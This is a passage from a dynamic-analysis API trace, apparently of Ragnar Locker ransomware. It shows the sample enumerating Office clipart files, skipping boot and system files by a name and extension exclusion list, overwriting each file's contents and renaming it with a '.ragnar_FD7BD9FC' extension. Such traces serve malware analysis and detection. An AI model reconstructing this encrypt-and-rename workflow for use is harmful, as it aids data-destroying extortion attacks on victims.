Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.043] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0211981.WMF" | out: lpString1="J0211981.WMF") returned="J0211981.WMF" [0086.043] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned=".WMF" [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="autorun.inf") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="boot.ini") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="bootfont.bin") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="bootsect.bak") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="bootmgr") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="bootmgr.efi") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="bootmgfw.efi") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="desktop.ini") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="iconcache.db") returned 1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="ntldr") returned -1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="ntuser.dat") returned -1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="ntuser.dat.log") returned -1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="ntuser.ini") returned -1 [0086.043] lstrcmpiW (lpString1="J0211981.WMF", lpString2="thumbs.db") returned -1 [0086.043] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.043] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.043] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.043] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.043] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.043] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.043] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf")) returned 0x20 [0086.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.044] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28276) returned 1 [0086.044] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.044] GetProcessHeap () returned 0x580000 [0086.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.044] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.045] VirtualAlloc (lpAddress=0x0, dwSize=0x6e74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.046] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.046] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.046] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6e74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6e74, lpOverlapped=0x0) returned 1 [0086.047] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.047] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6e74, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.047] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6e74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6e74, lpOverlapped=0x0) returned 1 [0086.047] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6e74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.047] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.048] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.048] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.048] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.048] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.048] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.048] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.048] GetProcessHeap () returned 0x580000 [0086.048] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.048] CloseHandle (hObject=0xf4) returned 1 [0086.048] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" [0086.048] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.ragnar_FD7BD9FC" [0086.048] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.049] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0086.049] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.049] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0212299.WMF" | out: lpString1="J0212299.WMF") returned="J0212299.WMF" [0086.049] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned=".WMF" [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="autorun.inf") returned 1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="boot.ini") returned 1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="bootfont.bin") returned 1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="bootsect.bak") returned 1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="bootmgr") returned 1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="bootmgr.efi") returned 1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="bootmgfw.efi") returned 1 [0086.049] lstrcmpiW (lpString1="J0212299.WMF", lpString2="desktop.ini") returned 1 [0086.050] lstrcmpiW (lpString1="J0212299.WMF", lpString2="iconcache.db") returned 1 [0086.050] lstrcmpiW (lpString1="J0212299.WMF", lpString2="ntldr") returned -1 [0086.050] lstrcmpiW (lpString1="J0212299.WMF", lpString2="ntuser.dat") returned -1 [0086.050] lstrcmpiW (lpString1="J0212299.WMF", lpString2="ntuser.dat.log") returned -1 [0086.050] lstrcmpiW (lpString1="J0212299.WMF", lpString2="ntuser.ini") returned -1 [0086.050] lstrcmpiW (lpString1="J0212299.WMF", lpString2="thumbs.db") returned -1 [0086.050] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.050] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.050] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.050] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.050] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.050] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.050] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf")) returned 0x20 [0086.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.051] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6158) returned 1 [0086.051] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1805, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.051] GetProcessHeap () returned 0x580000 [0086.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.051] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.053] VirtualAlloc (lpAddress=0x0, dwSize=0x180e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.053] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.053] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.053] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x180e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x180e, lpOverlapped=0x0) returned 1 [0086.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.054] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x180e, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.054] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x180e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x180e, lpOverlapped=0x0) returned 1 [0086.054] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x180e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.054] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x180e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.054] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.054] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.054] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.054] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.055] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.055] GetProcessHeap () returned 0x580000 [0086.055] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.055] CloseHandle (hObject=0xf4) returned 1 [0086.055] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" [0086.055] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.ragnar_FD7BD9FC" [0086.055] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.055] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0086.055] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.055] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0212601.WMF" | out: lpString1="J0212601.WMF") returned="J0212601.WMF" [0086.055] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned=".WMF" [0086.055] lstrcmpiW (lpString1="J0212601.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="autorun.inf") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="boot.ini") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="bootfont.bin") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="bootsect.bak") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="bootmgr") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="bootmgr.efi") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="bootmgfw.efi") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="desktop.ini") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="iconcache.db") returned 1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="ntldr") returned -1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="ntuser.dat") returned -1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="ntuser.dat.log") returned -1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="ntuser.ini") returned -1 [0086.056] lstrcmpiW (lpString1="J0212601.WMF", lpString2="thumbs.db") returned -1 [0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.056] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf")) returned 0x20 [0086.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.057] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9676) returned 1 [0086.057] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.057] GetProcessHeap () returned 0x580000 [0086.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.057] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.060] VirtualAlloc (lpAddress=0x0, dwSize=0x25cc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.060] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.060] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.060] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x25cc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x25cc, lpOverlapped=0x0) returned 1 [0086.061] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.061] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.061] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x25cc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x25cc, lpOverlapped=0x0) returned 1 [0086.061] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.061] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.061] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.061] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.061] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.062] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.062] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.062] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.062] GetProcessHeap () returned 0x580000 [0086.062] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.062] CloseHandle (hObject=0xf4) returned 1 [0086.062] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" [0086.062] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.ragnar_FD7BD9FC" [0086.062] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.062] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0086.063] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.063] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0212685.WMF" | out: lpString1="J0212685.WMF") returned="J0212685.WMF" [0086.063] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned=".WMF" [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="autorun.inf") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="boot.ini") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="bootfont.bin") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="bootsect.bak") returned 1 [0086.063] lstrcmpiW (lpString1="J0212685.WMF", lpString2="bootmgr") returned 1 [0086.063] lstrcmpiW 